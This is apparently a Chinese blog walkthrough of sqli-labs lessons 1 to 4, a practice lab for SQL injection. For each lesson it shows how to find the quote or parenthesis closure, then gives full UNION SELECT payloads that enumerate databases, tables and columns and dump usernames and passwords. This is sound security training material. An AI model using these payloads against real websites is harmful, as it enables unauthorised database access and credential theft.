天天看點

sqli-labs (less1-less4)less 1less 2less 3less 4

就隻是随便記一記

less 1

get方法的引号閉合

id=1'有報錯,證明有注入點,然後接下來是看一下有多少列

?id=-1' union select 1,2,3--+'

這裡我們如果隻是寫select後面加三個以下數字都會報錯,證明裡面是有三列的,用order by 也可以查出來

剩下的就是爆資料庫,表,字段,值了

爆資料庫

?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+' 因為選出來的資料庫可能會有很多個,用group_concat連起來顯示出來,同時id=-1無法查詢到東西,就會顯示後面的資料

sqli-labs (less1-less4)less 1less 2less 3less 4

爆表

?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security"--+'

sqli-labs (less1-less4)less 1less 2less 3less 4

爆字段

?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+'

sqli-labs (less1-less4)less 1less 2less 3less 4

爆值

?id=-1' union select 1,concat(username,'@@',password),3 from users where username="admin"--+'

admin的username和password用@@去分隔

sqli-labs (less1-less4)less 1less 2less 3less 4

到這裡,我們就可以拿到admin的賬号和密碼了

來多一個組合技能

?id=0' union select 1,2,group_concat(concat_ws(char(32,58,32),id,username,password)) from users %23

sqli-labs (less1-less4)less 1less 2less 3less 4

less 2

get方法整數查詢

這裡我們按照剛剛的直接在id=1後面加個單引号發現會報錯,為了看得更清楚一點,我們的參數這樣寫

?id=1!'!----

sqli-labs (less1-less4)less 1less 2less 3less 4

這個時候可以看見,兩個感歎号中間夾着的單引号其實是沒有跟我們想象的前面的單引号閉合的,是以,其實他的查詢語句不是less 1的 select xxx from "table_name" where id='$_GET[id]',而是select xxx from "table_name" where id=$_GET[id],可以看見,這兩個語句的差别隻是一個id有單引号括着,一個沒有,但是沒有的話,就證明其實他是接收的是一個整數,而不是字元串

再試一下?id=1--+

sqli-labs (less1-less4)less 1less 2less 3less 4

發現後面的語句全部注釋掉了,回顯正常,确實接收的是一個整數

接下來就跟剛剛差不多,用?id=-1 union select 1,2,3--+或者?id=1 order by 3--+去看一下是幾列

然後暴庫-->表-->字段-->值-->拿到背景管理者密碼,截圖不放了,參數給一給

?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata--+

?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security"--+

?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users"--+

?id=-1 union select 1,concat_ws('@@',username,password),3 from users where username="admin"--+

sqli-labs (less1-less4)less 1less 2less 3less 4

less 3

get方法單引号變形字元串注入

?id=1'會報錯,然後?id=1''又沒有報錯

sqli-labs (less1-less4)less 1less 2less 3less 4

可以看到單引号和右括号,是以其實語句應該是select xxx from "table_name" where id = ('$_GET["id"]')

傳過來的id有限制,有右括号和單引号括着,是以閉合有兩點,一個單引号另一個右括号

payload構造 ?id=1') --+ 傳過去就可以變成 id = ('1') --+') ,然後後面的都注釋掉了,是以都能繞過,最後的payload

?id=-1') union select 1,2,group_concat(concat_ws(char(32,58,32),id,username,password)) from users --+

less 4

get方法雙引号變形字元串注入

?id=1'正常回顯,?id=1"會報錯

sqli-labs (less1-less4)less 1less 2less 3less 4

其實跟less 3差不多,隻是單引号變成了雙引号,查詢語句是

select xxx from "table_name" where id = (" $_GET["id"] ")

?id = 1") --+就能繞過閉合

最終payload

?id=-1") union select 1,2,group_concat(concat_ws(char(32,58,32),id,username,password)) from users --+